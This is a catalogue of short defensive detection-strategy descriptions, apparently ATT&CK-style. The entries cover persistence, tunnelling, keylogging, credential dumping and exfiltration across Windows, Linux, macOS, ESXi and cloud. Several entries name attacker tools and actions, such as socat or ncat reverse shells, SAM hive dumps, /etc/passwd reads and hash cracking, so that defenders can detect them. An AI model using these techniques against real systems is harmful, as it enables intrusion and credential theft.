Detects remote write activity across cloud VMs or object storage buckets within the same region/account that correlate with data aggregation across hosts.
Current version: 1.0
Description:
Detects adversary use of logon script configuration via Group Policy or user object attributes, followed by script execution post-authentication. Behavior includes modification of script path or file, then process execution under user logon context.
Current version: 1.0
Description:
Abuse of systemctl to execute commands or manage systemd services. Defender perspective: correlate suspicious service creation or modification with execution of systemctl subcommands such as start, enable, or status. Detect cases where systemctl is used to load services from unusual locations (e.g., /tmp, /dev/shm) or where new service units are created outside of expected administrative workflows.
Current version: 1.0
Description:
Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.
Current version: 1.0
Description:
Session cookie reuse on unmanaged browsers, devices, or client types deviating from user baseline (e.g., switching from Chrome to curl).
Current version: 1.0
Description:
Web session tokens reused in native Office apps (e.g., Outlook, Teams) without associated token refresh or login behavior on the endpoint.
Current version: 1.0
Description:
Anomalous process (e.g., rundll32, svchost, cmd) initiates connections to internal peer hosts not seen in typical communication baselines, used to proxy or forward traffic internally, often using SMB, RPC, or high ports.
Current version: 1.0
Description:
socat, ssh, iptables, or ncat invoked from user space or cron jobs to create port forwarding, reverse shells, or inter-host tunnels between compromised Linux systems. Behavior is typically paired with socket activity and high entropy traffic.
Current version: 1.0
Description:
Execution of AppleScript or Automator services launching ssh -L, socat, or launchctl items that dynamically reroute traffic from one Mac endpoint to another. LaunchAgents used to establish permanent internal tunnels.
Current version: 1.0
Description:
ESXi shell execution of tools/scripts (nc, socat, perl) relaying network traffic to other internal hosts, especially when initiated by unauthorized users or VMs.
Current version: 1.0
Description:
Configuration of internal NAT or proxy rules that redirect traffic between client segments internally (e.g., site-to-site port forwarding). Often used to relay internal beaconing or move traffic laterally through trust zones.
Current version: 1.0
Description:
Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.
Current version: 1.0
Description:
Detects embedded or emulated VBScript/VBA execution via Wine-based apps, Office for Mac abusing cross-platform .NET features, or macros dropped and invoked via AppleScript or third-party automation tools.
Current version: 1.0
Description:
Detects abuse of Mono/.NET Core environments to execute VB-like scripts, often in environments with Office emulation or WINE. Focus is on rare invocations of scripting hosts like mono.exe or .NET shells, often seen in spam filtering or forensic labs with Office support.
Current version: 1.0
Description:
Execution of file transfer or network access activity through non-primary interfaces (e.g., WiFi, Bluetooth, cellular) by processes not typically associated with such behavior (e.g., rundll32, powershell, regsvr32).
Current version: 1.0
Description:
Use of rfkill, nmcli, or low-level tools (e.g., iw, hcitool, pppd) to enable alternate interfaces followed by data transfer via non-primary NICs.
Current version: 1.0
Description:
AppleScript or system calls to activate WiFi/Bluetooth interfaces (networksetup, blueutil), followed by exfiltration via AirDrop, cloud sync, or network socket.
Current version: 1.0
Description:
Detects adversarial use of cloud APIs for command execution, resource control, or reconnaissance. Focuses on CLI/SDK/scripting language abuse via stolen credentials or in-browser Cloud Shells. Monitors for anomalous API calls chained with authentication context shifts (e.g., stolen token -> privileged action) and cross-service impacts.
Current version: 1.0
Description:
Detection of anomalous RDP or remote service session activity where a logon session is hijacked rather than newly created. Indicators include mismatched user credentials vs. active session tokens, service session takeovers without corresponding successful logon events, or RDP shadowing activity without user consent.
Current version: 1.0
Description:
Detection of SSH/Telnet session hijacking via discrepancies between authentication logs and active session tables. Adversary behavior includes reusing or stealing active PTY sessions, attaching to screen/tmux, or issuing commands without corresponding login events.
Current version: 1.0
Description:
Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions.
Current version: 1.0
Description:
Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint → (2) elevated 4xx/5xx or unusual methods/paths → (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules → (4) optional outbound callback from the host/container.
Current version: 1.0
Description:
Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs → (2) spike of 5xx or WAF blocks → (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell → (4) outbound callback.
Current version: 1.0
Description:
Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request → service crash/5xx → service spawns shell or writes file → new outbound connection.
Current version: 1.0
Description:
Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs → (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) → (3) egress to Internet or metadata service (169.254.169.254).
Current version: 1.0
Description:
Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes → (2) workload spawns shell or reaches metadata API → (3) egress to new external hosts.
Current version: 1.0
Description:
Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service → hostd/vpxd error/crash/restart → unexpected process behavior or datastore access → outbound callback.
Current version: 1.0
Description:
Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs → device syslog errors/restarts → config changes/CLI spawn → egress to attacker C2.
Current version: 1.0
Description:
Execution of trusted, Microsoft-signed binaries such as rundll32.exe, msiexec.exe, or regsvr32.exe used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.
Current version: 1.0
Description:
Execution of trusted system binaries (e.g., split, tee, bash, env) used in uncommon sequences or chained behaviors to execute malicious payloads or perform actions inconsistent with normal system or script behavior.
Current version: 1.0
Description:
Use of system binaries such as osascript, bash, or curl to download or execute unsigned code or files in conjunction with application proxying.
Current version: 1.0
Description:
Adversary modifies internal UI messages (e.g., login banners, desktop wallpapers) or hosted intranet web pages by creating or altering content files using scripts or unauthorized access. Often preceded by privilege escalation or web shell deployment.
Current version: 1.0
Description:
Adversary leverages root or sudo access to alter system banners, web content directories (e.g., /var/www/html), or login configurations (/etc/issue). File creation or overwrites may coincide with suspicious script execution or cron job activity.
Current version: 1.0
Description:
Modification of user desktop backgrounds, login screen messages, or system banners by adversaries using admin privileges or script execution. May coincide with tampering in /Library/Desktop Pictures/ or use of AppleScript.
Current version: 1.0
Description:
Adversary modifies ESXi host login banner or MOTD file (/etc/motd), either through SSH or host console access. May involve configuration file overwrite or API calls from compromised vSphere clients.
Current version: 1.0
Description:
Execution of container orchestration commands (e.g., docker exec, kubectl exec) or API-driven interactions with running containers from unauthorized hosts or non-standard user contexts. Defender sees programmatic or interactive command execution within containers outside expected CI/CD tools or automation frameworks, often followed by file writes, privilege escalation, or lateral discovery.
Current version: 1.0
Description:
Defenders can detect suspicious cloud instance deletions by correlating events across authentication, instance lifecycle, and account activity. From a defender’s perspective, behaviors of interest include instances deleted shortly after creation, deletions initiated by new or rarely used accounts, deletions following snapshot creation, and deletions originating from anomalous geolocations or access keys. These may indicate adversarial attempts to destroy forensic evidence or evade detection.
Current version: 1.0
Description:
An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\SAM, HKLM\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.
Current version: 1.0
Description:
Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of mofcomp.exe, usage of Register-WmiEvent via PowerShell, and anomalous child processes of WmiPrvSE.exe that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.
Current version: 1.0
Description:
Detection of processes that load or decode encrypted/encoded files in memory and subsequently execute or inject them, indicating payload unpacking or memory-resident malware.
Current version: 1.0
Description:
Detection of suspicious use of shell utilities or scripts that decode or decrypt a payload and execute it without writing to disk.
Current version: 1.0
Description:
Detection of encoded payloads being decoded and executed in-memory using scripting tools or third-party decoders.
Current version: 1.0
Description:
Defender observes execution of commands like tasklist, sc query, reg query, or PowerShell WMI/Registry queries targeting known backup products (e.g., Veeam, Acronis, CrashPlan). Behavior often includes parent-child lineage involving PowerShell or cmd.exe with discovery syntax, and enumeration of services, directories, or registry paths tied to backup software.
Current version: 1.0
Description:
Defender observes use of CLI tools (find, grep, ls, dpkg, rpm, systemctl, ps aux) to discover backup agents or config files (e.g., rsnapshot, duplicity, veeam). This often includes command lines that recursively search /etc/, /opt/, or /var/ directories for keywords like backup, and parent-child relationships involving shell or Python scripts.
Current version: 1.0
Description:
Defender detects execution of mdfind, launchctl, or GUI-based enumeration (e.g., /Applications/Time Machine.app) along with command-line usage of find, grep, or system_profiler to identify installed backup tools like Time Machine, Carbon Copy Cloner, or Backblaze. Often triggered from Terminal sessions or within post-exploitation scripts.
Current version: 1.0
Description:
Monitors suspicious usage of Windows API calls like SetWindowsHookEx, GetKeyState, or polling functions within non-UI service processes, combined with Registry or driver modifications.
Current version: 1.0
Description:
Detects non-system processes accessing /dev/input/* or issuing ptrace/evdev syscalls used for reading keystroke buffers directly.
Current version: 1.0
Description:
Detects unauthorized TCC access or use of Quartz Event Services (CGEventTapCreate) or IOHID for event tap installation within unexpected processes.
Current version: 1.0
Description:
Keylogging on legacy network devices via unauthorized system image modification or remote capture of console keystrokes (telnet, SSH) through altered firmware or man-in-the-middle key sniffing.
Current version: 1.0
Description:
Behavioral sequence where removable media is mounted, files are written/updated, and subsequently read/executed on a separate host, suggesting removable-media relay communication.
Current version: 1.0
Description:
Detection of file write-access to USB-mount directories (e.g., /media/, /run/media/) followed by same-file access or execution on another host.
Current version: 1.0
Description:
Correlates removable volume mounts (disk arbitration) with file I/O events on that volume, followed by same file execution shortly after insert.
Current version: 1.0
Description:
Behavioral chain involving suspicious use of GetProcAddress and LoadLibrary following memory allocation and manual mapping, often paired with low entropy strings, abnormal API use without static import tables, or delayed module load behaviors.
Current version: 1.0
Description:
Installation or execution of a malicious browser or IDE extension, followed by abnormal registry entries or outbound network connections from the host application
Current version: 1.0
Description:
Installation of configuration profiles or plist entries associated with malicious or unauthorized browser extensions
Current version: 1.0
Description:
Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity
Current version: 1.0
Description:
Adversary launches built-in system tools (e.g., whoami, query user, net user) or scripts that enumerate user account information via local execution or remote API queries (e.g., WMI, PowerShell).
Current version: 1.0
Description:
Adversary runs commands like whoami, id, w, or cat /etc/passwd from non-interactive or scripting contexts to enumerate system user details.
Current version: 1.0
Description:
Adversary uses dscl, who, or environment variables like $USER to identify accounts or sessions via Terminal or malicious LaunchAgents.
Current version: 1.0
Description:
Adversary executes CLI commands like show users, show ssh, or attempts to dump AAA user lists from routers or switches.
Current version: 1.0
Description:
Detects creation or modification of scheduled tasks using schtasks.exe, at.exe, or COM objects followed by execution of outlier processes tied to the scheduled job.
Current version: 1.0
Description:
Detects creation or modification of cron jobs via crontab, /etc/cron.* directories, or systemd timer units with execution by unusual users or non-standard intervals.
Current version: 1.0
Description:
Detects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.
Current version: 1.0
Description:
Detects unusual use of cron or sleep loops inside containers executing unfamiliar scripts or binaries repeatedly.
Current version: 1.0
Description:
Detects modification of ESXi cron jobs, local.sh scripts, or scheduled API calls to persist custom binaries or shell scripts.
Current version: 1.0
Description:
Adversary uses a tool like Ruler or MFCMapi to create a malicious Outlook rule that triggers execution upon receipt of a crafted email. On email delivery, Outlook executes the rule, resulting in code execution (e.g., launching mshta.exe or PowerShell). Outlook spawns a non-standard child process, often unsanctioned, without user interaction.
Current version: 1.0
Description:
Adversary adds a new Outlook rule with modified or obfuscated PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER attributes using MFCMapi or Ruler. Rule is triggered when email arrives, executing embedded or external code. Mailbox audit logs or Unified Audit Log shows automated rule-triggered action without user interaction.
Current version: 1.0
Description:
Account attribute changes (e.g., password set, group membership, servicePrincipalName, logon hours) correlated with unusual process lineage or timing, indicating privilege escalation or persistence via valid accounts.
Current version: 1.0
Description:
Use of native tools or scripting (e.g., usermod, passwd, groupmod) to escalate permissions or persist access on existing users, correlated with login or process events.
Current version: 1.0
Description:
Modifications to user accounts via dscl, pwpolicy, or System Preferences CLI (sysadminctl) that alter user groups, enable root, or bypass MDM restrictions.
Current version: 1.0
Description:
Modifications to SSO/SAML user attributes (e.g., isAdmin, role, MFA bypass, App assignments) often through CLI, API, or rogue IdP apps.
Current version: 1.0
Description:
Addition of new users or changes to role permissions (e.g., ReadOnly -> Admin) via API or vSphere Client, particularly from non-jumpbox IPs.
Current version: 1.0
Description:
Role escalation (e.g., Editor → Owner) in cloud collaboration tools (Google Workspace, O365) or file sharing apps to maintain elevated access.
Current version: 1.0
Description:
Processes using Win32 API calls (e.g., EnumWindows, GetForegroundWindow) or scripting tools (e.g., PowerShell, VBScript) to enumerate open windows. These often appear with reconnaissance or data collection TTPs.
Current version: 1.0
Description:
Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.
Current version: 1.0
Description:
Processes that utilize AppleScript, CGWindowListCopyWindowInfo, or NSRunningApplication APIs to list active application windows and foreground processes.
Current version: 1.0
Description:
Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.
Current version: 1.0
Description:
Unexpected write operations to BIOS/UEFI firmware regions or EFI boot partitions that do not correlate with legitimate vendor firmware updates. API calls or utilities such as fwupdate.exe or vendor flash tools executed from non-administrative or non-IT management accounts. Suspicious raw disk writes targeting System Firmware GUID partitions followed by abnormal reboot sequences.
Current version: 1.0
Description:
Unauthorized firmware uploads to routers, switches, or firewalls via TFTP/FTP/SCP. Logs showing boot variable or startup image path changes redirecting to non-standard firmware images. Abnormal reboots or firmware rollback attempts following configuration modification events.
Current version: 1.0
Description:
Detects malicious injection behavior involving memory allocation, remote thread queuing via APC (e.g., QueueUserAPC), and altered thread context within another live process to execute unauthorized code under legitimate context.
Current version: 1.0
Description:
Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.
Current version: 1.0
Description:
Detects invocation of lua or luajit interpreters by users or services outside of expected packages, chained with script drop or memory artifacts.
Current version: 1.0
Description:
Detects Lua script execution via native or 3rd party interpreters, chained with unsigned binaries or unexpected parent lineage.
Current version: 1.0
Description:
Detects embedded Lua interpreter execution or script injection on devices supporting Lua scripting (e.g., routers, firewalls), often seen in modified firmware or abused APIs.
Current version: 1.0
Description:
Monitors for abnormal process behavior and API calls like SetWindowsHookEx, GetAsyncKeyState, or device input polling commonly used for keystroke logging.
Current version: 1.0
Description:
Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.
Current version: 1.0
Description:
Monitors for TCC-bypassing or unauthorized access to input services like IOHIDSystem or Quartz Event Services used in keylogging or screen monitoring.
Current version: 1.0
Description:
Detects web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.
Current version: 1.0
Description:
Detects network share disconnection attempts using command-line tools like net use /delete, PowerShell Remove-SmbMapping, and correlation with process lineage and SMB session teardown activity.
Current version: 1.0
Description:
Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe. Correlates registry modifications, DLL loads, and process handle access events.
Current version: 1.0
Description:
Detects modification of PAM configuration files, unauthorized new PAM modules, and suspicious process execution accessing PAM-related binaries. Correlates file modification events in /etc/pam.d/ with process execution of unauthorized binaries.
Current version: 1.0
Description:
Detects unauthorized additions or changes to /Library/Security/SecurityAgentPlugins and suspicious process activity attempting to hook authentication APIs. Correlates file modifications with abnormal plugin loads in authentication flows.
Current version: 1.0
Description:
Detects suspicious configuration changes in IdP authentication flows such as enabling reversible password encryption, MFA bypass, or policy weakening. Correlates policy modification events with unusual administrative activity.
Current version: 1.0
Description:
Detects unauthorized changes to IAM authentication configurations such as disabling MFA, creating backdoor access keys, or altering trust policies. Correlates identity policy updates with unusual login behavior.
Current version: 1.0
Description:
Use of hash-cracking tools (e.g., John the Ripper, Hashcat) after credential dumping, combined with high CPU usage or GPU invocation via unsigned binaries accessing password hash files
Current version: 1.0
Description:
Execution of hash cracking binaries or scripts (e.g., john, hashcat) following access to shadow file or dumped hashes
Current version: 1.0
Description:
Unsigned or scripting-based processes invoking password cracking binaries or accessing hashed credential artifacts post-login
Current version: 1.0
Description:
Sudden valid logins from accounts that previously had credentials dumped but had not authenticated successfully in the past; correlated with timeline of suspected hash cracking
Current version: 1.0
Description:
Offline cracking inferred by subsequent successful CLI or web-based authentications into routers or switches from previously dumped accounts
Current version: 1.0
Description:
Detects PE injection through a behavioral sequence where one process opens (OpenProcess) a handle to another, allocates remote memory (VirtualAllocEx), writes a PE header (MZ) or shellcode (WriteProcessMemory), then initiates a new thread (CreateRemoteThread or NtCreateThreadEx) in that process—executing injected code in memory without touching disk. Optional: injects a trampoline or shellcode that unpacks/reflectively maps the payload.
Current version: 1.0
Description:
Correlation of inbound emails with embedded links followed by user-driven browser navigation to suspicious or obfuscated domains. Detection chain includes malicious URL in email → user click recorded in Office logs → browser process spawning unusual child processes (e.g., PowerShell, cmd) or download activity.
Current version: 1.0
Description:
Detection of spearphishing links through mail logs and browser activity. Behavior includes email with suspicious URLs → user click recorded in mail/web proxy logs → shell or interpreter launched from browser process.
Current version: 1.0
Description:
Correlation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links → Safari/Chrome accessing newly registered or lookalike domains → osascript or Terminal spawned unexpectedly.
Current version: 1.0
Description:
Detection of OAuth consent phishing or malicious login attempts initiated through spearphishing links. Behavior chain includes inbound email with OAuth URL → consent page visited → unusual token grants logged in IdP logs.
Current version: 1.0
Description:
Atypical processes (e.g., powershell.exe, regsvr32.exe) encode large outbound traffic using Base64 or other character encodings; this traffic is sent over uncommon ports or embedded in protocol fields (e.g., HTTP cookies or headers).
Current version: 1.0
Description:
Custom scripts or processes encode outbound traffic using gzip, Base64, or hex prior to exfiltration via curl, wget, or custom sockets. Encoding typically occurs before or during outbound connections from non-network daemons.
Current version: 1.0
Description:
Processes use built-in encoding utilities (e.g., base64, xxd, or plutil) to encode file contents followed by HTTP/HTTPS transfer via curl or custom applications.
Current version: 1.0
Description:
ESXi daemons (e.g., hostd, vpxa) are wrapped or impersonated to send large outbound traffic using gzip/Base64 encoding over SSH or HTTP. These actions follow suspicious logins or shell access.
Current version: 1.0
Description:
Monitor for unexpected modifications of plist files in persistence or configuration directories (e.g., ~/Library/LaunchAgents, ~/Library/Preferences, /Library/LaunchDaemons). Detect when modifications are followed by execution of new or unexpected binaries. Track use of utilities such as defaults, plutil, or text editors making changes to Info.plist files. Correlate file modifications with subsequent process launches or service starts that reference the altered plist.
Current version: 1.0
Description:
Correlation of chmod operations setting setuid/setgid bits followed by privileged process execution (EUID != UID), especially from user-writable or abnormal paths.
Current version: 1.0
Description:
Observation of chmod commands setting setuid/setgid bits, paired with launch of binaries under elevated execution context (e.g., root-owned binaries launched by unprivileged users).
Current version: 1.0
Description:
Detection correlates message events in email and collaboration tools (e.g., Outlook, Teams) that contain regex-like patterns resembling credentials, API keys, or tokens. Anomalous forwarding or bulk copy activity of chat/email content containing secrets is flagged. Suspicious behavior includes users pasting secrets into direct messages or attaching config files with passwords.
Current version: 1.0
Description:
Detection monitors SaaS collaboration tools (e.g., Slack, Zoom, Jira) for messages or files containing credential-like patterns, or for suspicious API calls retrieving bulk chat histories by non-admin users. Identifies adversary behavior chains where chat logs are queried via APIs or integration bots to systematically extract sensitive material.
Current version: 1.0
Description:
Monitoring modification and execution of user or system logon scripts such as in registry Run keys or startup folders.
Current version: 1.0
Description:
Detection of changes or execution of shell initialization scripts like .bashrc, .profile, or /etc/profile for persistence.
Current version: 1.0
Description:
Monitoring for modification and execution of login hook scripts or LaunchAgents/LaunchDaemons used for persistence.
Current version: 1.0
Description:
Detection of modification to ESXi rc.local.d or rc scripts that are used to execute on boot.
Current version: 1.0
Description:
Detection of changes to device startup-config files that include boot scripts or scheduled execution routines.
Current version: 1.0
Description:
Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17). Excessive enumeration of accounts with 'Do not require Kerberos preauthentication' set in Active Directory is another key detection point.
Current version: 1.0
Description:
Detects attempts to enumerate local groups via Net.exe, PowerShell, or native API calls that precede lateral movement or privilege abuse.
Current version: 1.0
Description:
Detects enumeration of local groups using common binaries (groups, getent, cat /etc/group) or scripting with suspicious lineage.
Current version: 1.0
Description:
Detects use of dscl or id/group commands to enumerate local system groups, often by post-exploitation tools or persistence checks.
Current version: 1.0
Description:
Inbound spearphishing attempts delivered via third-party services (e.g., Gmail, LinkedIn messages) leading to malicious file downloads or browser-initiated script execution. Defender view includes correlation of external service logins, unexpected file write operations, and suspicious descendant processes spawned from productivity or browser applications.
Current version: 1.0
Description:
Use of non-enterprise email or messaging services in Thunderbird, Evolution, or browsers leading to suspicious file downloads and subsequent execution. Defender view includes browser-initiated downloads of unexpected content and shell or interpreter processes launched post-download.
Current version: 1.0
Description:
Phishing attempts via iCloud Mail, Gmail, or social media apps accessed on macOS systems. Defender view includes Mail.app or Safari downloads of files followed by osascript, Terminal, or abnormal child process execution.
Current version: 1.0
Description:
Abuse of safe mode via BCD modification, boot configuration utilities (bcdedit.exe, bootcfg.exe), and registry persistence under SafeBoot keys. Defender view: suspicious boot configuration changes correlated with registry edits that enable adversary persistence or disable defenses.
Current version: 1.0
Description:
Creation or modification of Windows services or scheduled tasks with names or descriptions mimicking legitimate entries, followed by anomalous execution of untrusted binaries or LOLBAS.
Current version: 1.0
Description:
Creation or modification of systemd service units or cron jobs using deceptive naming and untrusted command paths, often followed by lateral network activity or privilege escalation.
Current version: 1.0
Description:
Creation of LaunchAgents or LaunchDaemons with names resembling known system services but executing non-Apple signed code or scripts.
Current version: 1.0
Description:
Correlates inbound network access to remote service ports (e.g., SMB/RPC 445/135, RDP 3389, WinRM 5985/5986) with near-time instability in the target service (crash, abnormal restart), suspicious child process creation under the service, and post-access lateral-movement behaviors. The chain indicates likely exploitation rather than normal administration.
Current version: 1.0
Description:
Links inbound network access to SSHD/SMB/NFS/Databases or custom daemons with subsequent daemon crash/restart, core dump, or spawning of shells/reverse shells from the service context, indicating remote exploitation.
Current version: 1.0
Description:
Detects exploitation targeting ESXi/vCenter by correlating attempts to reach known exploitable endpoints (OpenSLP 427, CIM 5989, Hostd/Vpxa HTTPS 443, ESXi SOAP) with vmkernel/hostd crashes, unexpected hostd/vpxa restarts, or new reverse/outbound connections from ESXi host/vCenter to internal assets.
Current version: 1.0
Description:
Ties inbound access to exposed services (ARD/VNC 5900, SSH 22, ScreenSharing, web services) with process crashes in unified logs and abnormal child processes spawned under those services (e.g., bash, curl) to indicate exploitation.
Current version: 1.0
Description:
Detects execution of image viewers or PowerShell scripts accessing or decoding files with mismatched MIME headers or embedded script-like byte patterns; often correlated with suspicious parent-child process lineage and outbound connections.
Current version: 1.0
Description:
Detects access to media files followed by execution of scripts (bash, Python, etc.) referencing those same files, or outbound traffic triggered shortly after file read. Correlates unusual use of tools like steghide, exiftool, or image libraries.
Current version: 1.0
Description:
Detects manipulation of PNG, JPG, or GIF files by user-initiated scripts followed by script execution or exfiltration behavior, especially from osascript, python, or bash, in combination with LaunchAgent persistence or curl activity.
Current version: 1.0
Description:
Correlated user account modification (reset, disable, deletion) events with anomalous process lineage (e.g., PowerShell or net.exe from an interactive session), especially outside of IT admin change windows or by non-admin users.
Current version: 1.0
Description:
Password changes or account deletions via 'passwd', 'userdel', or 'chage' preceded by interactive shell or remote command execution from non-privileged accounts.
Current version: 1.0
Description:
Execution of dscl or sysadminctl commands to disable, delete, or modify users combined with anomalous process ancestry or terminal session launch.
Current version: 1.0
Description:
Invocation of esxcli 'system account remove' from vCLI, SSH, or vSphere API with anomalous user access or outside maintenance windows.
Current version: 1.0
Description:
O365 UnifiedAuditLog entries for Remove-Mailbox or Set-Mailbox with account disable or delete actions correlated with suspicious login locations or MFA bypass.
Current version: 1.0
Description:
Deletion or disablement of user accounts in platforms like Okta, Salesforce, or Zoom with anomalies in admin session attributes or mass actions within short duration.
Current version: 1.0
Description:
Creation or modification of Login Items using AppleScript or Service Management Framework. Detection focuses on file creation/modification of backgrounditems.btm, new executables in Contents/Library/LoginItems/, use of SMLoginItemSetEnabled API, or suspicious processes triggered post-login without user interaction. Behavioral pivot includes anomalous AppleEvents, suspicious parent-child process pairs, and login-triggered execution chains.
Current version: 1.0
Description:
Behavioral correlation of privileged registry key creation under the W32Time TimeProviders path combined with a new DLL written to disk and potential process activity by LocalService. Indicates abuse of Time Providers for persistence.
Current version: 1.0
Description:
Detects removable drive insertion followed by unusual file access, compression, or staging activity by unauthorized users or unexpected processes.
Current version: 1.0
Description:
Detects mounted external devices (via /media or /mnt) followed by large file read or copy operations by shell scripts, unauthorized users, or staging tools (e.g., tar, rsync).
Current version: 1.0
Description:
Detects mounting of external volumes followed by high-volume or sensitive file access via Finder, terminal, or third-party apps (e.g., rsync, zip).
Current version: 1.0
Description:
Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals → shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.
Current version: 1.0
Description:
Shell/utility (base64, xxd -p, od, openssl enc -base64, python/perl base64 libraries) encodes data → subsequent outbound connections (curl/wget/bash TCP, socat, python requests) with high asymmetry or Base64/MIME blobs in HTTP/DNS payloads.
Current version: 1.0
Description:
Processes use base64/xxd/openssl/python Objective‑C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) → quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.
Current version: 1.0
Description:
ESXi shell (BusyBox) or VMware utilities (openssl, python if present) used to Base64/hex encode data from datastore or config files → followed by abnormal egress from the host (NSX/flow logs) with asymmetric bytes_out or HTTPS posts to non-management endpoints.
Current version: 1.0
Description:
Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.
Current version: 1.0
Description:
Adversary attempts to gain persistence by modifying ~/.ssh/authorized_keys via shell, text editor, echo or redirected output.
Current version: 1.0
Description:
Insertion of public keys into authorized_keys using bash/zsh or editor tools, correlated with suspicious process ancestry.
Current version: 1.0
Description:
Abuse of cloud metadata APIs or CLI to push SSH public keys to authorized_keys of virtual machines.
Current version: 1.0
Description:
Direct modification of /etc/ssh/keys-
Current version: 1.0
Description:
Use of command-line like ip ssh pubkey-chain to bind SSH keys to privileged accounts on routers or switches.
Current version: 1.0
Description:
Adversary renames LOLBINs or deploys binaries with spoofed file names, internal PE metadata, or misleading icons to appear legitimate. File creation is followed by execution or service registration inconsistent with known usage.
Current version: 1.0
Description:
Adversary drops renamed binaries in uncommon directories (e.g., /tmp, /dev/shm) or uses special characters in names (e.g., trailing space, Unicode RLO). Execution or cronjob registration follows shortly after file drop.
Current version: 1.0
Description:
Adversary creates disguised launch daemons or apps with misleading names and bundle metadata (e.g., Info.plist values inconsistent with binary path or icon). Launch is correlated with user logon or persistence setup.
Current version: 1.0
Description:
Adversary uses renamed container images, injects files into containers with misleading names or metadata (e.g., renamed system binaries), and executes them during startup or scheduled jobs.
Current version: 1.0
Description:
Adversary places scripts or binaries with misleading names in /etc/rc.local.d or /var/spool/cron, or registers services with legitimate-sounding names not present in default ESXi builds.
Current version: 1.0
Description:
Suspicious use of scripting parameters or registry edits to hide process windows (e.g., powershell.exe -WindowStyle Hidden, or registry modifications pushing window positions off screen). Defender view: correlation of hidden execution with anomalous process lineage or hVNC-like CreateDesktop API calls.
Current version: 1.0
Description:
Suspicious invocation of GUI utilities or scripts with suppressed or redirected windowing options. Defender view: detection of X11 or Wayland calls to spawn windows that do not appear on active displays, or use of nohup/screen/tmux to mask interactive shells.
Current version: 1.0
Description:
Modification of plist files to set apple.awt.UIElement or similar flags hiding app icons and windows, and dscl/command-line activity that suppresses visibility. Defender view: correlation of plist modifications with unexpected hidden user applications.
Current version: 1.0
Description:
Adversary enumeration of domain accounts using net.exe, PowerShell, WMI, or LDAP queries from non-domain controllers or non-admin endpoints.
Current version: 1.0
Description:
Domain account enumeration using ldapsearch, samba tools (e.g., 'wbinfo -u'), or winbindd lookups.
Current version: 1.0
Description:
Domain group and user enumeration via dscl or dscacheutil, or queries to directory services from non-admin endpoints.
Current version: 1.0
Description:
Detection of suspicious access to cloud-native secret management systems (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault). Focuses on abnormal secret retrieval activity, such as secrets being accessed by unusual identities, from unexpected regions, outside business hours, or at high volume. Correlates API calls to secret retrieval with surrounding authentication events, role assumptions, and anomalous execution patterns.
Current version: 1.0
Description:
Detects unusual outbound file transfer behavior using protocols like FTP, SMB, SMTP, or DNS, involving non-standard processes, off-hour activity, or uncommonly high volume.
Current version: 1.0
Description:
Detects file exfiltration using tools like curl, scp, or custom binaries over protocols such as FTP, HTTP/S, or DNS tunneling, especially outside baseline user behavior.
Current version: 1.0
Description:
Detects non-native file transfer via curl, Python scripts, or AppleScript using uncommon protocols like FTP, SMTP, or DNS exfiltration through mDNSResponder abuse.
Current version: 1.0
Description:
